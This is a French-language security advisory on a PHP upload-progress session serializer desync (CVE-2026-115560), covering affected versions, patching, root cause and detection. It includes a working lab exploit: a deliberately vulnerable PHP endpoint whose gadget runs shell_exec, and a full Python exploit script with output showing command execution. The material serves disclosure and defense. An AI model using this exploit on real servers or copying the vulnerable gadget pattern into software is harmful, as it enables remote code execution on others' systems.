PHP : RCE via le sérialiseur de progression d'envoi (CVE-2026-115560)
Les applications PHP qui changent de sérialiseur à l'exécution peuvent désérialiser des données d'envoi et exécuter du code ; corrigé en 8.5.13 à 8.2.36.
En bref
- Le gestionnaire de progression d'envoi de PHP peut écrire une clé de session contrôlée par l'attaquant avec un sérialiseur, puis relire l'enregistrement avec un autre. CVE-2026-115560 transforme ce décalage en injection d'objet et en exécution de code.
- Seuls les déploiements qui règlent
session.serialize_handlersurphp_serializeouphp_binaryau démarrage, puis surphpà l'exécution, avec la progression d'envoi active, sont exposés. PHP juge cette combinaison inhabituelle et ce vecteur peu probable. - Aucune exploitation dans la nature n'est connue, et CVE-2026-115560 n'est pas dans le KEV de la CISA au 2026-11-19. L'avis PHP (
GHSA-658j-r8rw-q6mx) et l'enregistrement CVE-2026-115560 publié classent la faille CRITICAL avec un score CVSS v4.0 de 9,2 (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). - Mettez à jour vers PHP 8.5.13, 8.4.28, 8.3.37 ou 8.2.36, publiés le 2026-11-19. D'ici la mise à jour, réglez
session.upload_progress.enabled=0dans la configuration de démarrage et cessez de changer de sérialiseur à l'exécution.
Suis-je concerné ?
Toutes ces conditions doivent être réunies :
- L'installation exécute PHP et sert des requêtes web par PHP-FPM, Apache mod_php, php-cgi, FrankenPHP ou LiteSpeed.
- La configuration de démarrage ou par répertoire règle
session.serialize_handlersurphp_serializeouphp_binary. - Un point d'entrée joignable appelle
ini_set('session.serialize_handler', 'php')avantsession_start(). session.upload_progress.enabledetfile_uploadssont à leurs valeurs par défaut, tous deux actifs.
Une chaîne d'exécution de code exige aussi une classe dotée d'une méthode utile __wakeup(), __unserialize(), Serializable::unserialize() ou __destruct(), chargée ou chargeable automatiquement au moment où session_start() s'exécute. Sans un tel gadget, le décalage construit quand même un objet, mais l'impact dépend de ce que cet objet peut faire.
Cette analyse porte sur php-8.5.12. Le correctif a été livré dans la publication de sécurité du 2026-11-19 en PHP 8.5.13, 8.4.28, 8.3.37 et 8.2.36. Les applications qui ne changent jamais de sérialiseur à l'exécution et ne partagent pas de stockage de session avec un autre sérialiseur sont hors du chemin documenté.
| Branche | Versions concernées | Version corrigée |
|---|---|---|
| PHP 8.5 | jusqu'à 8.5.12 | 8.5.13 |
| PHP 8.4 | jusqu'à 8.4.27 | 8.4.28 |
| PHP 8.3 | jusqu'à 8.3.36 | 8.3.37 |
| PHP 8.2 | jusqu'à 8.2.35 | 8.2.36 |
| PHP 8.1 et antérieurs | hors support par le projet PHP | aucune publication PHP ; vérifiez la distribution ou le fournisseur |
Vérifiez le moteur et la configuration sur chaque hôte et dans chaque conteneur qui sert PHP :
php -v
php -i | grep -E 'session.serialize_handler|session.upload_progress.enabled|file_uploads'
php-fpm -i 2>/dev/null | grep -E 'session.serialize_handler|session.upload_progress.enabled'
grep -R "session.serialize_handler" /etc/php /etc/php-fpm.d /etc/apache2 2>/dev/null
grep -R --include='*.php' "session.serialize_handler" /var/www 2>/dev/null
docker exec <container> php -i | grep -E 'session.serialize_handler|session.upload_progress.enabled'
La recherche dans l'arborescence de l'application trouve la moitié « exécution » de la condition. Elle ne renvoie rien quand l'application n'appelle jamais ini_set() pour ce réglage, ce qui est le cas courant et la raison pour laquelle la faille est étroite.
Comment corriger ?
Passez à la publication de sécurité du 2026-11-19 pour votre branche : PHP 8.5.13, 8.4.28, 8.3.37 ou 8.2.36.
# Debian and Ubuntu, PHP 8.5 packages
sudo apt update
sudo apt install --only-upgrade php8.5-cli php8.5-fpm libapache2-mod-php8.5
# RHEL, Fedora and derivatives
sudo dnf upgrade 'php*'
# Alpine
sudo apk upgrade 'php*'
- Mettez à jour tous les paquets qui portent le moteur PHP, y compris la CLI, FPM et le module Apache, puis redémarrez le service qui sert les requêtes.
- Reconstruisez et recréez les conteneurs à partir de l'image corrigée. Un simple téléchargement de l'image ne modifie pas un conteneur en cours d'exécution.
- Vérifiez le résultat avec
php -vdans le service en cours et confirmez qu'il correspond à la version corrigée. - Si une distribution n'a pas encore reconstruit ses paquets, utilisez le contournement et surveillez le suivi de sécurité de la distribution.
Si vous ne pouvez pas mettre à jour immédiatement, supprimez les conditions nécessaires à l'attaque :
- Réglez
session.upload_progress.enabled=0dansphp.ini, le pool FPM ou la configuration Apache. N'utilisez pasini_set()ni.user.inipour ce réglage, car ils s'appliquent après le démarrage de la requête. - Redémarrez chaque processus PHP pour que le réglage prenne effet.
- Cessez d'appeler
ini_set('session.serialize_handler', ...), et gardez la valeur de démarrage et la valeur d'exécution identiques. - Confirmez les deux réglages avec
php -isur le service en cours.
Désactiver la progression d'envoi supprime l'écriture qui transporte les octets de l'attaquant. Garder le sérialiseur cohérent supprime le décalage. L'un ou l'autre casse la chaîne documentée. Aucun des deux ne répare l'hypothèse du moteur selon laquelle l'écrivain et le lecteur sont d'accord, alors traitez le contournement comme temporaire et mettez à jour.
Quelle est la cause racine ?
PHP écrit un enregistrement de session avec un sérialiseur et le relit avec un autre, et l'enregistrement stocké ne porte aucune étiquette indiquant quel format a été utilisé.
L'extension de session de PHP conserve le sérialiseur actif dans un pointeur global unique, PS(serializer). Il est défini depuis INI au démarrage et peut être remplacé à l'exécution parce que session.serialize_handler est enregistré en PHP_INI_ALL. Les trois sérialiseurs intégrés ne partagent pas le même format :
phpécrit la clé brute, un caractère pipe et la valeur sérialisée.php_serializeécrit tout le tableau de session en une seule chargeserialize().php_binaryécrit une longueur de clé sur un octet, la clé brute et la valeur sérialisée.
Le pipe n'est structurel que pour le format php. L'encodeur php le sait et refuse une clé qui en contient un (ext/session/session.c:1099-1110) :
PS_ENCODE_LOOP(
smart_str_append(&buf, key);
if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
PHP_VAR_SERIALIZE_DESTROY(var_hash);
smart_str_free(&buf);
fail = true;
php_error_docref(NULL, E_WARNING, "Failed to write session data. Data contains invalid key \"%s\"", ZSTR_VAL(key));
break;
}
smart_str_appendc(&buf, PS_DELIMITER);
php_var_serialize(&buf, struc, &var_hash);
);
Les deux autres encodeurs ne vérifient pas le pipe, car tant que le sérialiseur reste cohérent, le pipe n'a aucun sens pour leurs décodeurs. php_serialize sérialise le tableau entier (session.c:979-990), et php_binary écrit les octets bruts de la clé après un octet de longueur (session.c:1027-1046).
Le gestionnaire de progression d'envoi s'exécute avant le script, pendant l'analyse multipart. Quand une requête porte un champ nommé PHP_SESSION_UPLOAD_PROGRESS, le gestionnaire ajoute la valeur brute à la clé de session (session.c:3265-3273) :
} else if (zend_string_equals_cstr(PS(rfc1867_name), data->name, name_len)) {
smart_str_free(&progress->key);
smart_str_append(&progress->key, PS(rfc1867_prefix));
smart_str_appendl(&progress->key, *data->value, value_len);
smart_str_0(&progress->key);
progress->apply_trans_sid = APPLY_TRANS_SID;
php_session_rfc1867_early_find_sid(progress);
}
Rejeter le champ par le filtre d'entrée du SAPI ne retire pas la valeur. Dans la branche d'échec, l'analyseur multipart appelle quand même le rappel de session avec les octets non filtrés (main/rfc1867.c:988-1002). Le gestionnaire écrit ensuite l'enregistrement avec le sérialiseur de démarrage et le vide. Le vidage ferme le stockage de session (session.c:582), ce qui, pour le gestionnaire de fichiers, libère le verrou sur sess_<id> pendant que le corps de l'envoi arrive encore.
Le changement à l'exécution est autorisé parce qu'aucune session n'est active au début du script. OnUpdateSerializer() refuse le changement seulement tant qu'une session est active (session.c:640-666) :
static PHP_INI_MH(OnUpdateSerializer)
{
const ps_serializer *tmp;
SESSION_CHECK_ACTIVE_STATE;
SESSION_CHECK_OUTPUT_STATE;
tmp = _php_find_ps_serializer(ZSTR_VAL(new_value));
...
PS(serializer) = tmp;
return SUCCESS;
}
Avec session.auto_start=0, la valeur par défaut, ini_set('session.serialize_handler', 'php') atteint cette affectation. Le session_start() suivant lit l'enregistrement stocké avec le décodeur php, qui avance jusqu'au premier pipe et passe tout ce qui suit à php_var_unserialize() (session.c:1136-1150) :
while (p < endptr) {
q = p;
while (*q != PS_DELIMITER) {
if (++q >= endptr) {
retval = FAILURE;
goto break_outer_loop;
}
}
namelen = q - p;
name = zend_string_init(p, namelen, 0);
q++;
current = var_tmp_var(&var_hash);
if (php_var_unserialize(current, (const unsigned char **)&q, (const unsigned char *)endptr, &var_hash)) {
Le durcissement antérieur pour CVE-2026-109619 ne couvre pas ce chemin. Il active PS(in_rfc1867_update) pendant que le gestionnaire d'envoi décode et réencode la session. php_session_unserialize_init() garde les objets en __PHP_Incomplete_Class seulement tant que cet indicateur est actif (session.c:958-977). L'objet de l'attaquant n'est pas désérialisé pendant l'écriture de l'envoi. Il est désérialisé plus tard, dans le session_start() de l'application, où l'indicateur est faux.
Comment la faille est-elle exploitée ?
Un attaquant qui peut joindre un point d'entrée effectuant le changement à l'exécution peut faire désérialiser par le moteur un objet de son choix. Il contrôle ses propriétés, et l'objet est construit avant le code du point d'entrée.
- L'attaquant obtient ou choisit un identifiant de session.
session.use_strict_modeest désactivé par défaut, donc PHP accepte un identifiant non émis ; avec le mode strict, l'attaquant visite l'application une fois et garde l'identifiant renvoyé. - L'attaquant envoie une requête POST
multipart/form-dataportantCookie: PHPSESSID=<id>, un champPHP_SESSION_UPLOAD_PROGRESSet une partie fichier. Le pipe suivi de l'objet sérialisé peut être placé soit dans la valeur du champPHP_SESSION_UPLOAD_PROGRESS(stockée dans la clé de session), soit dans l'attributfilenamede la partie fichier (stocké dans le champfiles[0]['name'], comme l'utilise le PoC du laboratoire local). - Au démarrage de la requête, le gestionnaire d'envoi ajoute la clé à la session et écrit l'enregistrement avec le sérialiseur de démarrage. Ce sérialiseur écrit le pipe tel quel.
- L'attaquant rend l'enregistrement lisible par le décodeur
php. Avec la valeur par défautsession.upload_progress.cleanup=1, l'attaquant maintient le premier envoi ouvert avant sa frontière MIME de fin et envoie une seconde requête avec le même cookie. Avecsession.upload_progress.cleanup=0, l'enregistrement survit sur disque après la requête d'envoi, si bien que le décodage peut s'exécuter dans la même requête lorsque l'envoi cible le point d'entrée vulnérable, ou dans une requête ultérieure avec le même cookie, ce qui correspond au flux démontré dans le laboratoire local. - Le point d'entrée appelle
ini_set('session.serialize_handler', 'php')puissession_start(). Le décodeur coupe l'enregistrement au premier pipe et remet les octets suivants àphp_var_unserialize(). PHP_VAR_UNSERIALIZE_DESTROYappelle__wakeup()ou__unserialize(), et un décodage en échec détruit la session et appelle__destruct(). Le gadget s'exécute avec les privilèges du processus PHP.
Comment reproduire la faille dans un laboratoire local ?
Un laboratoire Docker minimal exécutant php:8.4.27-apache reproduit la désynchronisation des sérialiseurs de bout en bout dans un environnement de test isolé. Le laboratoire associe session.serialize_handler = php_serialize dans php.ini à un point d'entrée qui bascule le gestionnaire sur php via ini_set() avant d'appeler session_start().
Quatre briques fondamentales expliquent comment la preuve de concept transforme le décalage de sérialiseurs en exécution de code :
- Primitive d'injection d'objets PHP : CVE-2026-115560 n'est pas un bug de corruption mémoire en C ; c'est une vulnérabilité de désérialisation (injection d'objets) au sein du moteur de session de PHP. Lorsqu'elle est déclenchée, PHP prend une chaîne contrôlée par l'attaquant (
O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}) et la transmet au moteur interneunserialize()de PHP (php_var_unserialize()). - Ce que fait
unserialize()avecO:6:"Gadget":...: Le préfixeO:6:"Gadget"indique à PHP d'allouer une nouvelle instance de la classeGadgetsans appeler__construct(). Le corps:1:{s:3:"cmd";s:6:"whoami";}renseigne une propriété sur cette instance :$this->cmd = "whoami". - Le crochet de méthode magique
__wakeup():__wakeup()est une méthode magique intégrée à PHP. Chaque fois que PHP termine de désérialiser un objet à partir d'une chargeO:..., le moteur vérifie si la classe définit__wakeup()et invoque automatiquement$object->__wakeup()dansPHP_VAR_UNSERIALIZE_DESTROY, avant même quesession_start()ne se termine. Si une classe n'a pas de méthode magique (__wakeup(),__unserialize()ou__destruct()), la désérialiser crée uniquement un objet passif en mémoire ; lorsque__wakeup()est présent, PHP exécute immédiatement cette méthode avec les valeurs de propriétés ($this->cmd) injectées par l'attaquant. - Pourquoi le laboratoire utilise une classe
Gadgetsynthétique : Dans les applications PHP en production utilisant des frameworks ou des bibliothèques comme Laravel, Symfony, Monolog, Guzzle ou des extensions WordPress, les dépendances dansvendor/contiennent déjà des classes dotées de méthodes__wakeup()ou__destruct()qui forment des chaînes de gadgets de programmation orientée propriétés (POP). Plutôt que d'installer un framework complet dans le conteneur de test, le laboratoire définit une classeGadgetde 10 lignes pour représenter une classe chargée automatiquement dans l'application cible.
La configuration suivante est destinée aux tests locaux autorisés dans un conteneur isolé. Dans php-custom.ini, le sérialiseur de démarrage est défini sur php_serialize, la progression d'envoi est activée et session.upload_progress.cleanup est défini sur 0 afin que l'enregistrement de progression reste sur le disque entre deux requêtes séquentielles :
session.serialize_handler = php_serialize
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 0
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.save_path = /tmp/php-sessions
session.save_handler = files
session.auto_start = 0
Le point d'entrée cible (index.php) définit la classe Gadget avec un crochet __wakeup(), bascule session.serialize_handler sur php à l'exécution et appelle session_start(). Notez que index.php n'appelle jamais new Gadget() dans son propre code ; l'objet est instancié uniquement lorsque session_start() décode le fichier de session empoisonné :
<?php
class Gadget {
public string $cmd = 'echo "no command"';
public function __wakeup(): void {
echo "<pre>[__wakeup triggered] Running: " . htmlspecialchars($this->cmd) . "\n";
echo shell_exec($this->cmd);
echo "</pre>";
}
}
ini_set('session.serialize_handler', 'php');
session_start();
Deux points d'entrée auxiliaires complètent le conteneur du laboratoire : upload.php reçoit le POST multipart sans appeler session_start() afin que le rappel RFC 1867 écrive l'enregistrement de progression d'envoi avec le gestionnaire de démarrage php_serialize, et check_session.php affiche /tmp/php-sessions/sess_<id> sans le désérialiser :
<?php
// upload.php
header('Content-Type: text/plain');
echo "Upload received.\n";
echo "Session cookie: " . ($_COOKIE['PHPSESSID'] ?? 'none') . "\n";
$sid = $_COOKIE['PHPSESSID'] ?? '';
if ($sid !== '') {
$path = '/tmp/php-sessions/sess_' . basename($sid);
if (file_exists($path)) {
echo "\nRaw session file after upload:\n";
echo file_get_contents($path) . "\n";
} else {
echo "\nSession file not yet created: $path\n";
}
}
<?php
// check_session.php
header('Content-Type: text/plain');
$sid = $_GET['sid'] ?? '';
if ($sid === '') {
echo "Usage: ?sid=<session_id>\n";
exit;
}
$path = '/tmp/php-sessions/sess_' . basename($sid);
if (file_exists($path)) {
echo "=== Raw session file: $path ===\n\n";
echo file_get_contents($path);
} else {
echo "Session file not found: $path";
}
Le script de preuve de concept ci-dessous (exploit.py) établit un cookie de session, envoie un fichier multipart/form-data brut dont l'attribut filename commence par |O:6:"Gadget":1:{...} (avec les guillemets doubles échappés en \" afin que main/rfc1867.c les rétablisse en guillemets littéraux sans encodage URL), puis appelle index.php pour déclencher PS_SERIALIZER_DECODE_FUNC(php) :
"""
CVE-2026-115560 — PHP Session Serializer Desync via Upload Progress
Proof of Concept exploit for the session format desynchronization vulnerability.
Attack flow:
1. POST multipart upload to upload.php with PHP_SESSION_UPLOAD_PROGRESS and a
crafted filename containing |O:6:"Gadget":1:{s:3:"cmd";s:<len>:"<command>";}
→ php_session_rfc1867_callback writes upload progress to session file
using php_serialize (from php.ini) — no | escaping.
2. GET index.php with the same session cookie.
→ ini_set('session.serialize_handler', 'php') + session_start()
→ 'php' decoder splits on |, deserializes the injected Gadget object
→ __wakeup() fires → shell_exec()
Note: We craft the raw multipart body to avoid URL-encoding of quotes in the
filename, which the Python requests library does by default.
Requirements:
- session.serialize_handler = php_serialize (in php.ini)
- session.upload_progress.enabled = 1 (default)
- App does ini_set('session.serialize_handler', 'php') before session_start()
Usage:
python3 exploit.py [target_url] [command]
Defaults: target_url=http://localhost:8084 command=id
"""
import argparse
import requests
BOUNDARY = "----ExploitBoundary7d93e2a1"
def build_serialized_object(command: str) -> str:
return f'O:6:"Gadget":1:{{s:3:"cmd";s:{len(command)}:"{command}";}}'
def build_multipart_body(payload_filename: str, file_content: bytes) -> bytes:
"""Build raw multipart/form-data body with unescaped filename."""
parts = []
# Part 1: PHP_SESSION_UPLOAD_PROGRESS field (triggers session init)
parts.append(
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
f"\r\n"
f"pwned\r\n"
)
# Part 2: File upload with crafted filename
# The filename contains the pipe + serialized object.
# We must escape " as \" inside the Content-Disposition header's filename="..."
# value, because unescaped " would close the attribute prematurely.
# PHP's rfc1867.c multipart parser correctly unescapes \" back to literal ".
escaped_filename = payload_filename.replace("\\", "\\\\").replace('"', '\\"')
parts.append(
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="file"; filename="{escaped_filename}"\r\n'
f"Content-Type: application/octet-stream\r\n"
f"\r\n"
)
body = "".join(parts).encode("latin-1")
body += file_content
body += f"\r\n--{BOUNDARY}--\r\n".encode("latin-1")
return body
def exploit(target: str, command: str) -> None:
session = requests.Session()
base = target.rstrip("/")
serialized_obj = build_serialized_object(command)
payload_filename = f"|{serialized_obj}"
print(f"[*] Target: {base}")
print(f"[*] Command: {command}")
print(f"[*] Serialized object: {serialized_obj}")
print(f"[*] Payload filename: {payload_filename}")
print()
# Step 0: Establish a session to get a PHPSESSID cookie
print("[0] Establishing session...")
session.get(f"{base}/index.php")
sid = session.cookies.get("PHPSESSID", "")
print(f" Session ID: {sid}")
print()
# Step 1: POST multipart upload to upload.php
# Craft raw body to preserve literal " in filename
print("[1] Sending multipart upload with crafted filename to /upload.php...")
file_content = b"A" * 65536
raw_body = build_multipart_body(payload_filename, file_content)
resp1 = session.post(
f"{base}/upload.php",
data=raw_body,
headers={"Content-Type": f"multipart/form-data; boundary={BOUNDARY}"},
)
print(f" HTTP {resp1.status_code}")
print(f" Response:")
for line in resp1.text.strip().split("\n"):
print(f" {line}")
print()
# Step 1.5: Verify payload in raw session file
print("[1.5] Checking raw session file...")
resp_check = session.get(f"{base}/check_session.php?sid={sid}")
for line in resp_check.text.strip().split("\n"):
print(f" {line}")
print()
# Step 2: GET index.php to trigger deserialization
# index.php does: ini_set('session.serialize_handler', 'php'); session_start();
# The 'php' decoder reads the php_serialize data, finds | in the filename,
# and passes the payload to php_var_unserialize() → __wakeup() → RCE
print("[2] Triggering deserialization via GET /index.php ...")
resp2 = session.get(f"{base}/index.php")
print(f" HTTP {resp2.status_code}")
print()
if "__wakeup triggered" in resp2.text:
print("[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.")
start = resp2.text.find("[__wakeup triggered]")
end = resp2.text.find("</pre>", start)
if start >= 0 and end >= 0:
print()
print(resp2.text[start:end])
else:
print("[-] Gadget did not fire on this attempt.")
print()
# Show PHP warnings if any
for line in resp2.text.split("\n"):
stripped = line.strip()
if "Warning" in stripped or "Notice" in stripped or "Fatal" in stripped:
print(f" PHP: {stripped[:200]}")
print()
print(f" Debug: {base}/check_session.php?sid={sid}")
print()
print("[*] Done.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-115560 PoC")
parser.add_argument("target", nargs="?", default="http://localhost:8084",
help="Target URL (default: http://localhost:8084)")
parser.add_argument("command", nargs="?", default="id",
help="Command to execute (default: id)")
args = parser.parse_args()
exploit(target=args.target, command=args.command)
L'exécution de exploit.py contre le conteneur php:8.4.27-apache écrit le pipe non échappé et la charge Gadget sérialisée dans /tmp/php-sessions/sess_<id> lors de l'étape d'envoi, puis déclenche Gadget::__wakeup() lors de la requête GET /index.php suivante :
$ python3 exploit.py http://localhost:8084 whoami
[*] Target: http://localhost:8084
[*] Command: whoami
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}
[0] Establishing session...
Session ID: ddda797e6af8bdba6401bab8062dbd3d
[1] Sending multipart upload with crafted filename to /upload.php...
HTTP 200
Response:
Upload received.
Session cookie: ddda797e6af8bdba6401bab8062dbd3d
Raw session file after upload:
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096805;s:14:"content_length";i:65857;s:15:"bytes_processed";i:65857;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:41:"|O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}";s:8:"tmp_name";s:27:"/tmp/phpt586jhskkueq0oOkcCT";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096805;s:15:"bytes_processed";i:65536;}}}}
[1.5] Checking raw session file...
=== Raw session file: /tmp/php-sessions/sess_ddda797e6af8bdba6401bab8062dbd3d ===
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096805;s:14:"content_length";i:65857;s:15:"bytes_processed";i:65857;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:41:"|O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}";s:8:"tmp_name";s:27:"/tmp/phpt586jhskkueq0oOkcCT";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096805;s:15:"bytes_processed";i:65536;}}}}
[2] Triggering deserialization via GET /index.php ...
HTTP 200
[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.
[__wakeup triggered] Running: whoami
www-data
[*] Done.
$ python3 exploit.py http://localhost:8084 "ls /"
[*] Target: http://localhost:8084
[*] Command: ls /
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}
[0] Establishing session...
Session ID: 2ffd23b0781b8886a49a001d723272b3
[1] Sending multipart upload with crafted filename to /upload.php...
HTTP 200
Response:
Upload received.
Session cookie: 2ffd23b0781b8886a49a001d723272b3
Raw session file after upload:
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096810;s:14:"content_length";i:65855;s:15:"bytes_processed";i:65855;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:39:"|O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}";s:8:"tmp_name";s:27:"/tmp/phpm0druteh4qg69SLzfU8";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096810;s:15:"bytes_processed";i:65536;}}}}
[2] Triggering deserialization via GET /index.php ...
HTTP 200
[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.
[__wakeup triggered] Running: ls /
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
[*] Done.
$ python3 exploit.py http://localhost:8084 "id"
[*] Target: http://localhost:8084
[*] Command: id
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}
[0] Establishing session...
Session ID: 98c162d7ecf462372c94193f5e5cdba1
[1] Sending multipart upload with crafted filename to /upload.php...
HTTP 200
Response:
Upload received.
Session cookie: 98c162d7ecf462372c94193f5e5cdba1
Raw session file after upload:
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096814;s:14:"content_length";i:65853;s:15:"bytes_processed";i:65853;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:37:"|O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}";s:8:"tmp_name";s:27:"/tmp/php15e46dl4mmkv1qCw7Y3";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096814;s:15:"bytes_processed";i:65536;}}}}
[2] Triggering deserialization via GET /index.php ...
HTTP 200
[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.
[__wakeup triggered] Running: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Done.
Comment se déroule l'attaque ?
Les octets de l'attaquant passent par une écriture faite avant le script et par une lecture faite par un autre sérialiseur dans le script.
avec PHP_SESSION_UPLOAD_PROGRESS"] --> B["Le gestionnaire d'envoi s'exécute
avant le script"] B --> C["La clé de session contient
les octets de l'attaquant avec un pipe"] C --> D["Le sérialiseur de démarrage écrit
l'enregistrement, pipe non échappé"] D --> E["La seconde requête atteint
ini_set puis session_start"] E --> F["Le décodeur php coupe
au premier pipe"] F --> G["php_var_unserialize
construit l'objet"] G --> H["La méthode magique exécute
du code comme le processus"]
L'étape qui rend la chaîne possible est l'écriture par le sérialiseur de démarrage, car elle stocke un pipe que le décodeur ultérieur traite comme une structure.
Que peut faire un attaquant ?
Quand les conditions de configuration sont réunies et que l'application possède un gadget utilisable, un attaquant non authentifié peut exécuter du code avec les privilèges du processus PHP qui sert la requête.
- L'attaquant peut lire les variables d'environnement, la configuration de l'application et les identifiants accessibles au processus.
- L'attaquant peut lire et modifier la base de données de l'application par la connexion de l'application elle-même.
- L'attaquant peut écrire les fichiers que le processus peut écrire, notamment les fichiers de session et les caches de modèles.
- L'attaquant peut utiliser l'hôte comme point de départ pour un accès plus large, selon son cloisonnement.
Les conditions sont celles qui rendent la faille joignable. Le sérialiseur de démarrage doit être php_serialize ou php_binary. Le point d'entrée doit passer à php avant session_start(). La progression d'envoi doit être active. La classe gadget doit être chargeable. PHP décrit la configuration comme inhabituelle et le vecteur comme peu probable, et indique que les applications qui ne changent jamais de sérialiseur à l'exécution ne sont pas concernées.
Le dossier public ne démontre pas de compromission de bout en bout. L'impact décrit ici est celui de la primitive, pas le récit d'une victime.
Pourquoi le correctif fonctionne-t-il ?
Le correctif dans PHP 8.5.13, 8.4.28, 8.3.37 et 8.2.36 (avis GHSA-658j-r8rw-q6mx, commit 522afb690f) comble la désynchronisation du sérialiseur à l'exécution dans ext/session/session.c par deux changements dans le moteur et une exigence opérationnelle.
Le correctif applique trois niveaux de défense :
- Changer la valeur par défaut de
session.upload_progress.enabledde"1"à"0"dansPHP_INI_BEGIN(), de sorte que les écritures de session de progression d'envoi soient désactivées sauf si un administrateur les active explicitement. - Imposer
SESSION_CHECK_UPLOAD_PROGRESS_STATEdansOnUpdateSerializer()et les autres gestionnaires de mise à jour INI de session, en levant une erreur (Session ini settings cannot be changed at runtime when session.upload_progress.enabled is On) dès qu'un script tente de changersession.serialize_handlerà l'exécution alors que la progression d'envoi est active. - Exiger que les déploiements qui activent explicitement
session.upload_progress.enabledutilisent le mêmesession.serialize_handlersur tous les pools FPM, hôtes virtuels et processus CLI qui partagent un répertoire de stockage de session.
Ensemble, la désactivation par défaut de la progression d'envoi et le blocage de ini_set('session.serialize_handler', ...) lorsque la progression d'envoi est active empêchent une même application d'écrire un enregistrement de progression d'envoi avec un sérialiseur et de le décoder à l'exécution avec un autre.
Comment vérifier si j'ai été compromis ?
Aucun indicateur de compromission n'est publié pour CVE-2026-115560, et une tentative qui n'a pas réussi à construire un objet utilisable peut ne laisser aucune trace distinctive.
Si une configuration exposée était joignable depuis internet, conservez les journaux du serveur web, du proxy inverse et de PHP qui couvrent la période. Examinez-les pour les requêtes multipart portant PHP_SESSION_UPLOAD_PROGRESS et pour les identifiants de session que l'application n'a pas émis.
Vérifiez le stockage de session pour les enregistrements qui contiennent un pipe suivi d'un objet sérialisé. Traitez un résultat comme une piste, pas comme une preuve : un enregistrement de progression légitime contient aussi le nom du champ, et un décodage en échec peut déjà avoir supprimé l'enregistrement.
Examinez le journal d'erreurs PHP pour les avertissements de décodage autour des mêmes requêtes. Un échec de décodage peut détruire la session et laisser un avertissement. Si vous trouvez des signes d'exécution, conservez une image de l'hôte et renouvelez les identifiants accessibles au processus.
Chronologie
- 2026-10-21 : PHP publie 8.5.12, 8.4.27, 8.3.36 et 8.2.35 pour CVE-2026-109618 et CVE-2026-109619, le duo connu sous le nom de PHP2Shell. L'avis CVE-2026-109619 recommande déjà
session.upload_progress.enabled=0comme mesure d'atténuation. - 2026-10-23 : PHP publie un avis informatif pour CVE-2026-115560, décrit la combinaison de configuration et recommande de garder la progression d'envoi désactivée jusqu'à la prochaine publication régulière.
- 2026-11-18 : PHP annonce la publication de sécurité régulière du 2026-11-19 entre 14:00 et 14:30 UTC, avec une sévérité maximale CRITICAL et les détails publiés avec la version.
- 2026-11-19 : PHP publie 8.5.13, 8.4.28, 8.3.37 et 8.2.36 ainsi que l'avis GHSA-658j-r8rw-q6mx pour CVE-2026-115560.
FAQ
Est-elle exploitable sans authentification ?
Oui, quand les quatre conditions de configuration sont réunies. L'attaquant n'a besoin ni de compte ni d'accès administratif. Il a besoin d'un identifiant de session et d'un point d'entrée joignable qui change le sérialiseur à l'exécution.
Pourquoi la configuration par défaut ne la déclenche-t-elle pas ?
Le sérialiseur par défaut est php pour l'écriture comme pour la lecture, donc l'encodeur et le décodeur s'accordent sur le pipe. La faille exige un sérialiseur de démarrage qui écrit le pipe sans échappement et un décodeur d'exécution qui le traite comme une structure.
Existe-t-il un exploit public ?
Le décalage de sérialiseurs est reproductible de bout en bout contre php:8.4.27-apache lorsqu'une classe gadget chargeable est présente, comme le montre la section Comment reproduire la faille dans un laboratoire local ?.
Est-elle dans le catalogue KEV de la CISA ou exploitée dans la nature ?
Non. CVE-2026-115560 n'est pas dans le KEV de la CISA au 2026-11-19, et aucune exploitation n'est signalée. Les deux failles PHP liées, CVE-2026-109618 et CVE-2026-109619, ont été ajoutées au KEV le 2026-10-26 ; ce sont d'autres bugs.
Désactiver la progression d'envoi corrige-t-il la faille ?
